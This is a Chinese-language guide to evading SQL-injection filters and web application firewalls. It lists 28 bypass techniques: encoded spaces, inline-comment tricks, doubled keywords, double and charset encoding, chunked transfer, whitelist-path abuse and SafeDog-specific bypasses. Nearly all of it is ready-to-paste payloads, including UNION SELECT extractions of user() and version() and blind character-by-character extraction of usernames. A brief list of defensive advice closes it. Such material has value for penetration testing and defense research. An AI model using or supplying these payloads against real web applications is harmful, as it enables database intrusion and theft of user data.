一文详述sql注入绕过
字数 1379 2025-08-29 22:41:44
SQL注入绕过技术全面指南
1. 空格绕过技术
在SQL注入中,空格是分隔关键字的重要字符,当空格被过滤时,可以使用以下替代方法:
1.1 特殊字符替代空格
%20:标准URL编码空格%a0:不间断空格%09:TAB键(水平制表符)%0a:新建一行%0b:TAB键(垂直制表符)%0c:新的一页%0d:回车
1.2 注释替代空格
/**/:标准注释替代/*!*/:内联注释,可包含版本号
示例:
select * from users where id=1 /*!union*//*!select*/1,2,3,4;
1.3 函数生成空格
SELECT CHAR(32)column1 CHAR(32)FROM CHAR(32)table1
2. 大小写绕过
利用SQL对关键字不区分大小写的特性:
- 混合大小写:
sEleCT,UniOn - 双写关键字:
SESELECTLECT
3. 浮点数绕过
利用浮点数表示绕过整数检测:
select * from users where id=8E0union select 1,2,3,4;
select * from users where id=8.0union select 1,2,3,4;
4. NULL值绕过
使用NULL值替代实际数据:
select * from users where id=\Nunion select 1,2,3,\N;
5. 引号绕过
5.1 单双引号互换
select * from users where id="1";
5.2 十六进制编码
select * from users where username=0x61646D696E;
6. 添加库名绕过
使用[库名].[表名]格式:
select * from users where id=-1 union select 1,2,3,4 from moonsec.users;
7. DISTINCT关键字绕过
select * from users where id=-1 union distinct select 1,2,3,version() from users;
8. 反引号绕过
用于标识数据库、表名或字段名:
SELECT `order` FROM `table`;
9. 脚本语言特性绕过
9.1 PHP参数覆盖
id=1%00&id=2 union select 1,2,3
9.2 逗号绕过技术
9.2.1 Boolean注入
select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));
9.2.2 JOIN关键字
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select 3)c join (select 4)d;
9.2.3 LIKE模糊查询
select * from users where id=1 and (select user() like '%r%');
9.2.4 LIMIT OFFSET
select * from users limit 1 offset 0;
10. 逻辑运算符绕过
and→&&or→||not→!xor→|
11. ASCII字符对比绕过
select * from users where id=1 and ascii(substring(user(),1,1))=114;
12. 等号(=)绕过
12.1 使用大于小于
select * from users where id=1 and ascii(substring(user(),1,1))>114 and ascii(substring(user(),1,1))<116;
12.2 LIKE运算符
SELECT * FROM pet WHERE name LIKE 'b%';
12.3 RLIKE/REGEXP
select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
13. 双关键词绕过
id=-1'UNIunionONSeLselectECT1,2,3--+
14. 编码绕过技术
14.1 二次编码绕过
%2520 → %20 → 空格
14.2 Unicode编码
%u0020 → 空格
14.3 HTTP数据编码
修改Content-Type的charset为服务器支持但WAF不支持的编码(如ibm037)
15. 分块传输绕过
使用Transfer-Encoding: chunked拆分恶意负载
16. 信任白名单绕过
利用WAF白名单中的目录或文件:
a=/admin.php&name=vince+&submit=1
17. 静态文件绕过
利用jpg/png/gif/css/js等静态文件不被检测的特性:
a=/1.jpg&name=vince+&submit=1
18. HTTP管道(Pipeline)绕过
修改Connection为keep-alive,分多个包发送payload
19. multipart/form-data绕过
使用multipart/form-data编码方式传输数据
20. ORDER BY绕过
使用INTO替代:
select * from users where id=1 into @a,@b,@c,@d;
21. HTTP请求方式变换
GET/POST互换或同时使用
22. JSON/XML绕过
使用application/json或text/xml格式提交
23. 字符溢出绕过
使用大量填充字符:
id=1 and (select1)=(select 0xA*1000)/*!union*//*!select*/1,user()
24. 花括号绕过
select1,2 union select {xxx 1},user();
25. ALL/DISTINCT绕过
select1,2from users where user_id=1 union DISTINCT select1,2
select1,2from users where user_id=1 union all select1,2
26. 换行混绕绕过
select 1,2 from users union /* Asdf Asdf Asdf Asdf Asdf */ select 1,user();
27. 特定WAF绕过技巧
27.1 IIS安全狗绕过
id=1+and+substring(@@version+from+1+for+1)=5--+
27.2 字符型注入
name=vince'+and+substring((select+username+from+`users`+limit+1)+from+1+for+1)='a'--+
28. 高级联合查询绕过
多种UNION SELECT变形:
/*!union*//*!select*/1,2
/*!12345union*//*!12345select*/1,2;
%0aunion%0aselect1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
防御建议
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 输入验证和过滤
- 使用Web应用防火墙(WAF)
- 定期更新和修补系统
- 禁用错误信息显示
- 实施多层防御策略
本指南涵盖了当前主流的SQL注入绕过技术,安全人员应了解这些技术以更好地防御SQL注入攻击。